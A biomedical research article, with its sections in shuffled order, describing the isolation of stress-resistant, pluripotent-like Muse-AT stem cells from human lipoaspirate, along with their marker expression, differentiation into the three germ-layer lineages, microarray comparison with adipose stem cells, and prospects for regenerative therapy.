contributions to tissue regeneration in the absence of restrictions attributed to the difficult extraction of bone marrow stromal cells and human skin fibroblasts, and time-consuming purification methods such as cell sorting. In order to increase the viability of Muse cells as a source of tissue regeneration, a more accessible supply must be utilized.
One potential solution to this problem is to gradually adapt stem cells to cellular stress prior to cell delivery. It has been shown that introducing stem cells to hypoxic conditions in vitro for a duration of 24–48 hours, also known as hypoxia preconditioning (HPC), provides the opportunity for these cells to adapt to low oxygen concentrations, thus increasing chances for survival upon reintroduction to hypoxic conditions in vivo [8] . HPC is a promising solution to the severe apoptosis that accompanies transplantation as it induces an adaptive mechanism that increases the likelihood of cell survival in a pro-apoptotic microenvironment in vivo [9] . Adult human mesenchymal stem cells (MSCs) and adult hematopoietic stem cells (HSCs) have similarly been shown to increase expansion, survival, and self-renewal under hypoxia conditions while maintaining the capability for multi-lineage differentiation [8] , [10] , [11] , [12] .
Cellular stress is induced by abrupt disruption of the physiological niche: the optimal home most conducive to cell survival [1] , [2] . Although adult stem cells have been considered an attractive source for cell therapy, their effectiveness and efficiency is hindered by a frequently low survival rate due to their exposure to a high cellular stress environment upon transplantation [3] , [4] , [5] . This key limitation is observed when utilizing adult stem cells for regenerative purposes, as typical cell engraftment yields are extremely low (<3%) [6] . Multiple factors contribute to this low rate of cell survival, including the harsh environment of the recipient site, harboring pro-apoptotic factors including hypoxia, malnutrition, pro-inflammatory cytokines and reactive oxygen and nitrogen species [1] . The severity of cellular stress is heightened when stem cells are administered to an acutely injured area, such as a myocardial infarction, stroke, or a peripheral ischemic injury, as are the chances of unwanted activation or differentiation of surviving cells [1] , [7] . It is extremely difficult to alter the environment of the damaged tissue, which necessitates a viable alternative: to improve post-transplant stem cell survival rates through the administration of a stem cell population with the adaptations necessary for survival in the hostile host environment.
Muse-AT cells and ASCs were isolated from lipoaspirate material of three different patients. RNA was extracted using an RNeasy Mini Kit (Qiagen) and analyzed by Hokkaido System Science Co. Ltd. Array signals were processed and normalized using the GeneSpring GX version 12.1.0 (Agilent Technologies). Data has been deposited into the Gene Expression Omnibus databank with the access number GSE46353. The criteria for selecting differentially-expressed genes were preset as at least 2-fold difference in either direction plus statistical significance (P<0.05, unpaired t test). Microarray analysis was performed using the software program IPA via a license to Ingenuity ( https://analysis.ingenuity.com/pa/login/login.jsp ) to identify (1) functional pathways (cell function, physiological function, diseases), (2) canonical signaling pathways (3) networks of related genes derived from genes changed in the analyzed comparisons and (4) upstream regulators. Further information regarding gene function was obtained from the program GeneDecks V3 at www.genecards.org [20] . Statistical analyses were carried out by Fischer’s exact test (as performed automatically by the software). In determining which genes are only expressed in either Muse-ATs or ASCs, all samples, having been performed in triplicate, had to display uniform detection (indicated with at least 100 standard units) or absence (at most 30 standard units) along with a P-value <0.05.
For neural cell formation, Muse cells-AT were incubated as non-adherent cells in ultra-low attachment plates (Corning Incorporated, Life Sciences, Manassas, VA) in the presence of neural differentiation medium 1 containing Neurobasal medium (Gibco, Life Technology, Grand Island, NY) supplemented with B-27 supplement serum free (Gibco, Life Technology, Grand Island, NY), 100 µg/ml kanamycin (Gibco, Life Technology, Grand Island, NY), 2 mM glutamine (Sigma-Aldrich, St. Louis, MO), 30 ng/ml bFGF (Peprotech, Rocky Hill, NJ) and 30 ng/ml EGF (Peprotech, Rocky Hill, NJ) for 7 days [19] . Cells were then transferred to polystyrene culture slides (BD Biosciences, San Jose, CA) and cultured for another 7 days as adherent cells in the presence of neural differentiation medium 2 containing 1 DMEM supplemented with 2% FCS, 25 ng/ml bFGF and 25 ng/ml BDNF (Peprotech, Rocky Hill, NJ) [19] . Neural cells were identified by immunohistochemistry using nestin and MAP2 as indicated above.
For hepatocyte and biliary cell induction, adherent Muse-AT cells were incubated in hepatocyte differentiation medium for 3 or 6 days, as previously described [18] adherent Muse-AT cells were incubated in DMEM supplemented with 10% FBS, 10 µg/ml insulin, 5.5 µg/ml transferring, 6.7 ng/ml sodium selenite (ITS; Gibco, Life Technologies, Grand Island, NY), 10 nM dexamethasone (Sigma-Aldrich, St. Louis, MO), 100 ng/ml hepatocyte growth factor (HGF, Peprotech, Rocky Hill, NJ) and 50 ng/ml and fibroblast growth factor- 4 (FGF-4, R & D Systems, Minneapolis, MN) [18] for 3 or 6 days. Hepatocytes were identified by immunohistochemistry using cytokeratin 7 and α-fetoprotein expression (see above).
Various differentiation media were used to induce differentiation of Muse cells-AT to the three germline cell lineages. For adipocyte formation, adherent Muse-AT cells were treated with adipogenic differentiation medium containing DMEM with 0.5 mM isobutylmethylxanthine, 1 µM dexamethasone, 10 µM insulin, 200 µM indomethacin and PPAR-γ (ZenBio, Inc, Research Triangle Park, NC) over 3 or 6 days at 37°C and 5% CO 2 . Adipocytes were detected using fluorescence lipid drop marker BODIPY-C 16 (1∶1000, Invitrogen, Carslbad, CA) following manufacturer specification. For myocyte formation, adherent Muse-AT cells were incubated in DMEM containing with 10% FBS, 5% NHS, 50µM hydrocortisone, and 1% antibiotic-antimycotic solution [16] over 3 or 6 days at 37°C and 5% CO 2 . Smooth muscle cells were identified by expression of smooth muscle actin (SMA) and skeletal muscle cells myosin D [16] .
Cells were fixed in 4% paraformaldehyde (20 min at R/T), washed in PBS, then incubated in 0.2% Triton for 20 min. After 2 successive washes in PBS, cells were blocked with 10% normal goat serum in 1% BSA solution for 60 min at R/T. Cells were then incubated with the primary antibodies overnight at 4°C. The following pluripotent stem cell markers were used: rat anti-human stage-specific embryonic antigen (SSEA3, Millipore, Billerica, MA), mouse anti-human octamer-binding transcription factor 3 and 4 (Oct3/4, Santa Cruz Biotech, Santa Cruz, CA), rabbit anti-human Nanog (Millipore, Billerica, MA), rabbit anti-human SRY-box 2 (Sox2, Millipore, Billerica, MA), and mouse anti-human TRA-1-60 (Abcam, Cambridge, MA); for mesenchymal cell lineages: rabbit anti-human preadipocyte factor 1 (Pref-1, [a.k.a. delta-like 1 homolog (drosophila), DLK1] preadipocyte marker, Santa Cruz Biotech, Santa Cruz, CA); mouse anti-human myosin D (MyoD, myocyte marker, R&D Systems, Minneapolis, MN), and mouse anti-human smooth muscle actin (SMA, myocyte marker, Thermo Scientific, Waltham MA); for endodermal cell lineages: mouse anti-human pan keratin (Santa Cruz, CA); rabbit anti-human α-fetoprotein (Dako, Santa Clara, CA); and mouse anti-human cytokeratin 7 (Millipore, Billerica, MA); and for ectodermal cell lineages: mouse anti-human neuron specific enolase (NSE, Millipore, Billerica, MA); rabbit anti-human glutamate receptor (Abcam, Cambridge, MA); rabbit anti-human NeuroD (Chemicon, Temecula CA); mouse anti-human nestin (Chemicon, Temecula CA); and rabbit anti-human microtubule-associated protein 2 (MAP2, AbDSerotech, Raleigh, NC). All primary antibodies were diluted 1∶200 in PBS/0.1% BSA solution. Following treatment with primary antibodies, cells were washed 3 times with PBS and incubated for 1 hour at R/T with PBS/0.1% BSA containing secondary immunofluorescent antibodies (1∶1000) Alexa Fluor 488 conjugated dye (mouse or rat, Invitrogen, Carlsbad, CA) or Texas Red conjugated dye (rabbit, Invitrogen, Carlsbad, CA). Cells were washed 4X with PBS and treated with PBS/0.2% DAPI for 10 minutes. Cells were then washed 3X with PBS. Images were acquired with an Evos immunofluorescence inverted microscope (Advanced Microscopy, Mill Creek, WA).
Floating Muse-AT cells were cultured in DMEM/10% FCS for 2 days followed by FACS analysis. Cells were washed in 2% inactivate FCS/0.05% sodium Azide/PBS and were re-suspended in 100 µl of the same buffer and incubated at 4°C for 1 hour in the presence or absence of primary unconjugated rat anti-human SSEA3 (EMD Millipore; Billerica, Massachusetts). Cells were then washed twice with the same buffer and incubated with the corresponding secondary FITC-conjugated anti-rat IgM (BD Biosciences; San Diego, CA) for 45 minutes at 4°C. After two consecutive washes, cells were incubated with PE-mouse anti-human CD105 (BD Biosciences, San Diego, CA) at 4°C for 1 hour. Cells were then washed and re-suspended in 200 µl of the same buffer. Analysis of count and cell type was performed using a FACS Calibur flow cytometer and cEllQuest Pro software.
Lipoaspirate was repeatedly washed with PBS until blood was completely removed from the tissue, and then incubated with equal volume of DMEM containing collagenase (0.1%, Sigma Aldrich) for 30 min at 37°C in a shaking incubator at 110 rpm, followed by incubation in 4°C, while still in collagenase and nutritionally deficient medium (no FCS), for 16 hours under severe hypoxia conditions. Digested material was then centrifuged at 1500 rpm for 10 minutes at 4°C. Supernatant containing adipose cell debris (dead adipocytes, macrophages, red blood cells, adipose stem cells among other cell components) was removed by aspiration and the remaining cell pellets were washed several times with PBS. Pellets were re-suspended in PBS and incubated with a red blood cell lysis buffer (eBiosciences, San Diego, CA) for 10 min at R/T (2×). Remaining cell pellets containing cells highly resistant to severe cellular stress, were re-suspended in Dulbecco’s Modified Eagle Medium 1× (DMEM; CellGro, MediatechInc, Manassas, VA) comprised of 10% fetal bovine serum (FBS; Thermo Scientific Hyclone, Logan, UT) and 5% antibiotic-antimyocotic solution (CellGro, Mediatech Inc, Manassas, VA), and plated as cells in suspension as well as adherent cells. For ASC isolation, lipoaspirate material was subjected to collagenase digestion (0.1%, Sigma Aldrich) for 30 min at 37°C in a shaking incubator at 110 rpm, and ASCs were isolated and cultured as previously described [16] .
Lipoaspirates (100–200 g per aspirate) were obtained from subcutaneous abdominal adipose of women undergoing elective liposuction. None of the investigators of this study had any contact with, nor any knowledge of any personal information relating to, these patients. Furthermore, human subjects were unidentifiable as well as all their characteristics and clinical records. Therefore, this study did not meet the criteria of human subjects research and HHS regulations did not apply (45 CFR 46.102(f)).
Up and down-regulation of critical genes involved in cell death and survival (e.g. SGK1 (up1.6x), MDH1, ATF2, HSPA8, PDIA3, BRD1, CALM1, NR4A2, GATA2, CDK6, NUF2, CDK6, BRC1, BUB1B and CCXL2) could contribute to Muse–AT cell resistance to severe cellular stress exposure. The BRC1 DNA damage and repair pathway [42] is down-regulated in Muse-AT cells versus ASCs, indicating the high capacity of Muse-AT cells to resist DNA damage as a result of severe cellular stress. We detected 14 individual genes related to DNA repair to be up-regulated in Muse-ATs ( Table S6A ). Additionally, eight ABC-cassette genes were more highly expressed in Muse-ATs. ( Table S6B ). Finally, in order to examine methods of cell communication, we analyzed the expression of gap junction related genes, and observed that Muse-ATs expressed three connexin genes GJA4, GJB2, GJB4, as well as C1orf71 (CNST), which encodes the recently described connexin recycling protein, consortin [44] ( Table S6C ) .
The most highly expressed canonical pathways include the role of Oct4 in embryonic stem cell pluripotency (SOX2, NR6A1, BRCA1, ASH2L, POU5F1), BRCA1 in DNA damage and hereditary breast cancer signaling (POLRJ2/POLR2J3, FANCB, POLR2J, CDK6, RPA1, PIK3R2, RFC5, BLM, BRCA1, RFC3), cell cycle control of chromosomal replication (MCM6, ORC3, CDK6, RPA1), DNA repair (RPA1, RFC5, RFC3), arginine degradation (ALDH4A1, OAT), and embryonic stem cell differentiation into cardiac lineages (SOX2, POU5DF1) ( Fig. 6B ) . These data provide further insight into the potential role Muse-AT cells in DNA repair, cell cycle, oxidative stress, cancer cell regulation, as well as their intrinsic pluripotency.
The most predominant up-regulated genes of Muse-AT cells versus ASCs included CXCL2 (777.8 fold), ESCM2 (153.2 fold) DLL1 (147.4 fold), NR4A2 (139.2 fold), ADAMTS9 (115.3 fold), BMX (91.5 fold), MYZAP (87.6 fold), ALDH1A2 (47.1 fold) and SOD2 (41.4 fold), indicating that these genes were otherwise turned off or suppressed in ASCs ( Table S1 ) . The most predominant down-regulated genes included AK5 (136.6 fold), GREM2 (115.2 fold), CEP55 (93.6 fold), BUB1B (66.4 fold), CDCA3 (62.5 fold), NUF2 (54.8 fold) and DEPDC1 (52.7 fold) ( Table S2 ) .
Identification of the top ten ( A ) functional groups ( B ) canonical pathways of all differentially expressed genes (2 fold or higher) in Muse-AT cells versus ASCs. Fischer’s exact test was used to calculate a p-value determining the probability of the association between the genes in the data set with functional groups and canonical pathways. Both ( A ) functional groups ( B ) canonical pathways are displayed along the x-axis, while the y-axis displays logarithm of p values calculated by Fisher exact between the ratio of the number of genes differentially expressed genes (2 fold or higher) in Muse-AT versus ASCs in a given functional group or pathway divided by total number of genes that make up that functional group or pathway with a threshold for statistical significance set at 0.05. The analysis was performed by Ingenuity Pathways analysis software.
Gene ontology analysis was performed, and observed differential expression in Muse-AT cells correlated strongly to categories of cellular functions, the most statistically significant being: cell death and survival (p = 2.04E-05 to 3.15E-02), embryonic development (p = 5.92E-05 to 3.15E-02), tissue development (p = 5.92E-05 to 3.15E-02), cellular assembly and organization (p = 1.07E-04 to 3.15E-02), cellular function and maintenance (p = 4.04E-04 to 3.15E-02), DNA replication, recombination and repair (p = 1E-0.3 to 3.15E-0.2), cell cycle (p = 1.12E-0.3 to 3.15E-0.2), organ development (p = 1.54E-0.3 to 3.15E-0.2) and organismal survival (p = 2.63E-0.3 to 2.63E-0.3) ( Fig. 6A , Tables S1 – S2 ) .
To explore Muse-AT cell gene expression, microarrays were preformed and expression differences between Muse-AT cells and APCs were analyzed. Differential expression of at least a 2-fold change between Muse–AT cells versus ASCs was observed in 435 up and 434 and down-regulated genes respectively (p<0.05, Tables S1 – S2 ). Of these, 99 genes were expressed in all Muse-AT samples and absent in all ASC samples. Genes expressed only in Muse-ATs included TNFSF14 (p<0.0002), IL3RA (p<0.0007), CSF3 (p<0.0013), IL10RA (p<0.004), GATA2 (p<0.005), and BMP7 (p<0.02) ( Table S3 ) . Interestingly, Muse-ATs expressed numerous CD-markers that ASCs did not, while no CD-markers were unique to only the ASCs ( Table S4 ) .
Immunocytochemistry studies on Muse-AT cells having previously undergone the two-tiered neurogenic differentiation revealed expression of both nestin, a stimulant of survival, renewal and proliferation of neural progenitor cells [42] which characterized 65±11% of all DAPI-positive cells and MAP2, a protein involved in the polymerization of microtubules [43] which recognized 92±2% of all DAPI-positive cells ( Fig. 5C ) . ASCs were negative for nestin, while MAP2 exhibited a minimal degree of non-specificity inherent to the marker (5% of all DAPI-positive cells) ( Fig. 5C ) .
( A ) Isolated Muse-ATs were grown as adherent cells in the presence of DMEM/10%FCS for 6 days. Immunostaining indicates that Muse-AT cells have the capacity to spontaneously differentiate to ectodermal cell lineages. NSE, Glu-R and Neuro D are specific markers for neural progenitor or neural-like cells. Comparatively, ASCs (right panel) were negative for NSE, Glu-R and NeuroD. Nuclei were stained with DAPI (blue); original magnification was 600X. ( B ) Isolated Muse-AT cells were grown as non-adherent cells in the presence of Neurobasal medium/B-27 supplement serum free/kanamycin/glutamine/bFGF and EGF for 7 days. Formation of neural cell spheres was detected at different times during this incubation. Cells were then grown as adherent cells for an additional 7 days in a DMEM 2% FCS/bFGF/BDNF. Formation of neural-like cells is indicated by red arrows. ( C ) Isolated Muse-AT cells were grown for 7 days as non-adherent cells and then cultured for another 7 days as adherent cells (See Methods) . Neural-like cells were detected by immunofluorescence using anti-human nestin and MAP2 antibodies. Comparatively, ASCs (right panel) were negative for nestin and MAP2 ( B, right panel) . Nuclei were stained with DAPI (blue). Original magnification was 200 X (first three rows) or 600X (last two rows).
To complete our examination of the potential for spontaneous differentiation into the three germlines, Muse-AT cells were cultured for 3 days in DMEM/10%FCS with antibodies characterized by ectodermal cell markers including neuron-specific enolase (NSE), a marker used to detect neocortical neuron progenitors [31] , [32] , metabrotopic-glutamate receptor (Glut-R), a marker used to detect microglial and neural like cells [33] , [34] and NeuroD, a marker used to detect neocortical precursor cells [35] , [36] . Again, Muse-AT cells showed significant expression of all these markers with 30±5% (Glut-R), and 15±5% (NeuroD) of all DAPI-positive cells ( Fig. 5A ) , confirming their potential to spontaneously differentiate into ectodermal cells, as opposed to control ASCs ( Fig. 5A ) . We monitored the morphological progression of Muse-AT cells into neurons throughout the incubations in both the first and second neurogenic differential mediums (see methods) following similar protocols previously used for the differentiation of ES and iPS cells into cells of neural origin [37] , [38] , [39] , [40] , [41] . Muse-AT cells exhibited a progression from the formation of large cell spheres with finger-like projections to long, neuron-like cells, which subsequently formed large networks ( Fig. 5B ) [37] . Muse-AT cells cultured in suspension for 7 days in neural differentiation medium 1 ( see methods ) progressively form large cell clusters. Subsequent treatment as adherent cells for 7 days in neural differentiation medium 2 ( see methods ) induced the formation of neuron-like cells detectable by morphology and by axon and dendrite-specific markers.
Isolated Muse-ATs were grown as adherent cells in the presence of DMEM/10%FCS for 6 days. ( A ) Immunostaining indicates that Muse-AT have the capacity to spontaneously differentiate to endodermal cell lineages. α-fetoprotein and pan-keratin are specific markers for hepatocytes; Nuclei were stained with DAPI (blue). Original magnification, 600 X. Comparatively, ASCs (right panel) derived from the same lipoaspirate under standard conditions (see above, [16] ) were negative for α-fetoprotein and pan-keratin. Nuclei were stained with DAPI (blue); original magnification, 600 X; ( B ) Isolated Muse-AT cells were grown as adherent cells in the presence of hepatocyte differentiation medium (see methods) for 3 or 6 days and formation of hepatocytes was detected using anti-human cytokeratin 7 or α-fetoprotein antibodies. Comparatively, ASCs (right panel) were completely negative for cytokeratin 7 and α-fetoprotein (B, right panel) . Nuclei were stained with DAPI (blue). Original magnification was 200 X (first three rows) or 600 X (last two rows).
Spontaneous differentiation of Muse-AT cells to an endodermal lineage (hepatocytes) was detected in Muse-AT cells cultured in DMEM/10% FCS for 3 days. Muse-AT cells were recognized by α-fetoprotein (19±7% of all DAPI-positive cells), which is expressed during the development of endoderm and progenitors of hepatocytes [27] and pan keratin (21±8% of all DAPI-positive cells), a marker for filaments characteristic of biliary tract epithelial cells [27] ( Fig. 4A ) . In the cluster of cells, α-fetoprotein strongly recognized fatty acids in dimeric and trimeric forms localized in both the cytoplasm and plasma membrane of Muse-AT cells ( Fig. 4A ) , as was previously described in human hepatoblastoma cell line HepG2 [28] . In contrast, ASCs were negative for these endodermal cell markers ( Fig. 4A ) . Muse-AT cells previously incubated in hepatogenic differentiation medium for 3 and 6 days were positive for cytokeratin 7, an intermediate filament protein in biliary cells that characterized 69±2% (3 d) and 80±7% (6 d) of all DAPI-positive cells, as well as for α-fetoprotein which recognized 90±4% (3 d) and 91±5% (6 d) of all DAPI-positive cells ( Fig. 4B ) , while ASCs were negative ( Fig. 4B ) . These results demonstrate that Muse-AT differentiation mirrors previous studies of pluripotent stem cells differentiation to hepatocytes in terms of both time in culture (3 days) and differentiation efficiency [29] , [30] .
In the presence of myogenic medium for 3 and 6 days, Muse-AT cells differentiated into smooth muscle cells, with the characteristic morphology of smooth muscle fibers and strong expression of SMA that characterized 77±3% (3 d ) and 83±4% (6 d) of all DAPI-positive cells ( Fig. 3C ) . Under the same culture conditions, ASCs were only slightly positive after 6 days of incubation (25±4% of all DAPI-positive cells) ( Fig. 3C ) . Differentiation of ASCs to myocytes required ASCs exposure to myogenic medium for at least 21 days (data not shown, [16] ). These results demonstrate that while both types of adipose-derived stem/progenitor cells have the capacity to differentiate, activated Muse-AT cells differentiate towards both adipocyte and myocyte lineages much more quickly than ASCs.
Isolated Muse-ATs were grown as adherent cells in the presence of DMEM/10%FCS for 6 days. ( A ) Immunostaining indicates that Muse-AT have the capacity to spontaneously differentiate to mesodermal cell lineages. DLK is a specific marker for preadipocytes; BODIPY-C 16 recognized lipid drops present in adipocytes; Myosin D is specific marker for myocytes. Comparatively, ASCs (right panel) which are mesenchymal stem cells derived from the same lipoaspirate under standard conditions (see above, [16] were slightly positive for DLK; nuclei were stained with DAPI (blue), original magnification, 600 X. ( B ) Isolated Muse-AT cells were grown as adherent cells in the presence of adipocyte differentiation medium (See Methods ) for 3 or 6 days and formation of adipocytes was detected using BODIPY-C 16 ; ( C ) Isolated Muse-AT cells were grown as adherent cells in the presence of myocyte differentiation medium and formation of myocytes was detected using anti human-MSA antibodies. Comparatively, ASCs (right panel) which are mesenchymal stem cells derived from the same lipoaspirate under standard conditions (See above, [16] were slightly positive for BODIPY-C 16 or MSA (B and C, right panel) . Nuclei were stained with DAPI (blue). Original magnification was 200 X (first three rows) or 600 X (last two rows).
Adipose tissue has been shown to harbor ASCs with the ability to differentiate into the mesenchymal cell lineages: adipocytes, chondrocytes, myocytes and osteoblasts [16] , [20] . However, ASCs in the appropriate differentiation medium require approximately 2 ½ weeks to develop mature adipocytes, and myocyte differentiation, with characteristically fused nuclei, takes approximately 3 weeks [16] . To determine the potential of Muse-AT cells to spontaneously differentiate into cells of mesodermal lineage, Muse-AT cells were grown as adherent cells in culture medium only containing DMEM, 10% FCS+Antibiotics for 3 days. Spontaneous differentiation of Muse-AT cells into a mesodermal lineage was determined by immunocytochemistry. Mesodermal markers included DLK, a marker for preadipocytes [21] , BODIPY-C 16 , a fluorescent dye used to detect lipid accumulation [22] , and myosin D (Heavy Chain), a marker for the heavy chain portion of the Myosin II protein found in skeletal muscle cells [16] , [23] , [24] . After cultured as adherent cells for 3 days, Muse-AT cells displayed significant expression of DLK, (21±8% of all DAPI-positive cells), BODIPY-C 16 (61±13% of all DAPI-positive cells) and Myosin D (25±4% of all DAPI-positive cells), as compared to ASCs, which were slightly positive only in response to DLK (17±7% of all DAPI-positive cells) ( Fig. 3A ) . In the presence of adipogenic medium, demonstrated over the course of 3 and 6 days, Muse-AT cells accumulated considerable concentrations of lipid drops indicated by the formation of BODIPY-C 16 (+) droplets, which characterized 80±4% (3d) and 83±3% (6d) of all DAPI-positive cells ( Fig. 3B ) . In contrast, ASCs showed a weak yet detectable signal for BODIPY-C 16 (+) due to the presence of lipid accumulated in the cytoplasm as a result of ASC commitment to the preadipocyte cell fate ( Fig. 3B ) . At 3 days that there is a stark morphological difference between Muse-AT cells and ASCs, perhaps most apparent in the smaller size of Muse-ATs, which is very evident in the nucleus size, as indicated by DAPI. However, this morphology is actually much more similar at day 6, at which point the nucleus size has grown significantly in Muse-ATs, and is roughly the same as ASCs. BODIPY labeling of lipids with the intensity observed in the Muse-ATs is typically observed in ASCs after 2–3 weeks in culture [25] , [26] . Predictably, ASCs fully differentiated to adipocytes after 17 days of incubation in adipogenic medium (data not shown, [16] ).
Immunofluorescence microscopy demonstrates that Muse-AT aggregates, along with individual Muse-AT cells, express characteristic pluripotent stem cell markers, including SSEA3, Oct3/4, Nanog, Sox2, and TRA1-60. Comparatively, ASCs (right panel) derived from the same lipoaspirate under standard conditions (see above, [16] were negative for these pluripotent stem cell markers. Nuclei were stained with DAPI (blue). Original magnification, 600 X.
Upon transfer and adherence to chamber slides for immunofluorescent staining, both the Muse-AT cell clusters and individual Muse-AT cells strongly expressed all of the characteristic pluripotent stem cell markers that were examined. These included SSEA3, a cell-surface glycosphingolipid frequently used to detect human ES cells and to purify Muse cells from bone marrow and dermis [13] ; Oct3/4 a protein involved in the self-renewal of human ES cells; Nanog, a transcription factor involved in the self-renewal of human ES cells; Sox2, a transcription factor that controls genes involved in embryonic development; and TRA-1-60, which reacts with the antigen TRA-1-60 on the surface of embryonic germ cells and ES cells ( Fig. 2 ) . Comparatively, ASCs derived from the same lipoaspirated tissue were either negative or weakly positive for these pluripotent stem cell markers ( Fig. 2 ) .
( A ) Schematic of Muse-AT isolation and activation from their quiescent state by exposure to cellular stress. Muse-AT cells were obtained after 16 hours, with incubation with collagenase in DMEM medium without FCS at 4°C under very low O 2 ( See Methods ). ( B ) FACS analysis demonstrates that 90% of isolated cells are both SSEA3 and CD105 positive. ( C ) Muse-AT cells can grow in suspension, forming spheres or cell clusters as well as individual cells (see red arrows) or ( D) Muse-AT cells can adhere to the dish and form cell aggregates. Under both conditions, individual Muse-AT cells reached a diameter of approximately 10µm and cell clusters reached a diameter of up to 50µm, correlating to stem cell proliferative size capacity.
We explored the possibility of both activating and isolating Muse-AT cells from their quiescent state by exposing them to cellular stress ( Fig. 1A ). Lipoaspirated material was first incubated in collagenase for 30 min at 37°C to release adipocytes (floating cells) and different cellular components present in the SVF as previously described [16] . This material was then subjected to severe cellular stress, including long incubation with collagenase, low temperatures, low serum and hypoxia, to kill fragile adipose cells and release Muse-AT cells. Optimal conditions for the release of Muse-AT cells were determined to be 16 hours incubation with collagenase in DMEM medium without FCS at 4°C under very low O 2 , which subsequently gave way to a homogenous population of Muse-AT cells. Approximately 90% of isolated cells were both SSEA3 and CD105 positive, as determined by flow cytometry ( Fig. 1B ) . This high purity is presumably due to the severity of the cellular stress conditions, responsible for the depletion of other cell types. As all other components of the adipose tissue lipoaspirate failed to survive, a population of highly purified Muse-AT cells was obtained, and therefore further purification processes were not necessary. Muse-AT cells were plated in both adherent and non-adherent cell culture dishes. We observed that Muse-AT cells can grow either in suspension or in adherence culture to form the characteristic cell clusters observed in ES cell-derived embryoid body, as described in bone marrow and dermal fibroblast-derived Muse cells in previous reports ( Fig. 1C, D ) [13] , [14] . Under both conditions, individual Muse-AT cells reached a diameter of around 10µm and cell clusters reached a diameter of up to 50µm by day 3 ( Fig. 1C–D ) , which has been previously demonstrated to mark the limit of their proliferative capacity [ 13 ] .
Discussion
Most studies utilizing adult stem cells for regenerative purposes have yielded disappointing results regarding post-transplant stem cell survival, attributed to a hostile host environment at the recipient site of injury, as seen in myocardial infarction, stroke, and peripheral ischemic wound [3], [4], [5], [6]. Despite survival enhancement via hypoxic preconditioning under in vitro ischemic environments [8], [9], [10], [11], [12], the in vivo effect of HPC on adult stem cells used for tissue engraftment is still controversial and more studies are required to optimize the use of HPC as a stimulus for various stem cell functions before their use in clinical trials [11], [45]. Recent studies in a flap ischemic rat model treated with ASCs having undergone HPC, showed a slight improvement in tissue engraftment and chemotaxis in comparison to the effects produced by untreated ASCs [46]. Therefore, the availability of a new stem cell population resistant to cellular stress could offer an attractive advance in the realm of post-transplant stem cell survival. In the present study, we described a novel population of pluripotent-like stem cells isolated from adipose tissue, termed Muse-AT cells, which are highly resistant to severe cellular stress and could emerge as the optimal population of cells to utilize in regenerative stem cell therapy.
Muse cells, comprising only a small population of MSCs in bone marrow (0.8–1%) and fibroblasts (2–3%), exist in a dormant, or quiescent state under normal physiological circumstances within the cellular niche [13]. This quiescent fate is considered characteristic of multiple adult stem cell lineages, including hematopoietic stem cells and epithelial stem cells, which have been shown to play a role in the preservation of the capacity to self-renew [47], [48]. Quiescence is internally regulated by reactive oxygen species for cell maintenance and HIF-1α to promote survival under hypoxic conditions, among other contributing factors, and externally regulated by environmental factors including transforming growth factors (TGFs) and bone morphogenic proteins (BMPs) within the physiological niche [48], [49], [50]. Quiescence also plays a critical role in the perseverance of malignant cancer stem cells and subsequent cancer relapse despite the action of anti-cancer treatments [48]. In order to activate quiescent stem cells, the physiological niche must undergo a disruption that induces cellular stress.
Chemokines and their receptors play a critical role during this process. CXCL2, a critical chemokine involved in stem cell homing, has been found to play a role in the mobilization of previously quiescent stem cells from their dormant state in the physiological niche [48]. CXCL2 is often overexpressed in cancer cells, and this expression is believed to contribute both to survival and to the pervasiveness of some cancers [51]. In the heart, CXCL2 expression rises in response to myocardial infarction, and studies have shown that pre-conditioning of MSCs with CXCL2 increases post-transplant stem cell survival rates [52]. High CXCL2 gene expression in Muse-AT cells (>770 fold increased in Muse-AT versus ASCs) could therefore explain the intrinsic genetic resistance of Muse-AT cells to cellular stress [13], as well as their capacity for resilience through their quiescent residence in the physiological niche. Additional studies would be warranted to determine if the differential chemokine expression observed in Muse-AT cells might be able to alter the homing of donor cells to areas of tissue injury or stress.
Muse-AT cells express pluripotent stem cell markers and can spontaneously differentiate into mesenchymal (adipocytes, smooth and skeletal muscle cells), endodermal (hepatocytes and biliary cells) and ectodermal (neural cells) cell lineages with an efficiency of approximately 23, 20 and 22% respectively. Interestingly, Muse-AT cells preferentially differentiate spontaneously into adipocytes (61%), suggesting that Muse-AT cells have an epigenetic memory of their tissue of origin. It may be possible that adipose tissue acts as a natural reservoir for the cells, and without stress Muse-ATs may remain in a dormant state. Similarly, iPS cells possess an epigenetic memory, which to date has precluded entirely successful reprogramming, and restricting those cells to a cell fate within the same lineage as the original stem cell source [53]. Muse-AT cells also expressed higher levels of DLK, or Pref-1 (Preadipocyte factor-1), than ASCs. This marker is expressed in preadipocytes and recently differentiated adipocytes [54]. Overall, portions of the dish that are strongly DLK positive have morphologies that are similar to ASCs, with a much stronger label.
Adipose tissue has been shown to harbor ASCs with the ability to differentiate into the mesenchymal cell lineages: adipocytes, chondrocytes, myocytes and osteoblasts in the appropriate differentiation medium [16], [20]. Notably, Muse-AT cells cultured in adipogenic medium exhibit adipocyte identifiers, with visibly detectable lipid drop content, and differentiation progressing substantially by day 6. However, ASCs require approximately 2½ weeks to develop into mature adipocytes [16]. Incubation of Muse-AT cells in myogenic medium exhibits significant differentiation by day 3. In contrast, ASC differentiation into myocytes, characterized by fused nuclei, requires approximately three weeks of incubation in myogenic culture media [16]. Furthermore, the morphological differentiation by day 6 correlates to the ASC differentiation that would normally be observed after approximately 3 weeks in culture. Taking this into account, the abundant availability of lipoaspirate material and the temporal efficiency of Muse-AT cells in induced differentiation is highly advantageous when considering their potential use for stem cell therapy in the generation of soft tissue for reconstructive surgery as well as for muscle regeneration and repair.
Muse-AT cells exhibit high potential as a regenerative treatment for injuries that require regeneration of cardiac muscle (mesenchymal origin) in response to myocardial infarction, in which high rates of post-transplant stem cell survival as well as highly efficient differential capacity are required. Additionally, in cases of ischemia or acute injury, a hypoxic and inflammatory environment with pro-inflammatory cytokines exposes therapeutic stem cells to similar inflammatory stress, which can result in unintended stem cell differentiation to fibroblasts and myofibroblasts, which in the case of cardiomyocytes, results in both scar tissue formation and an unintended reduction in action potential conductivity [55].
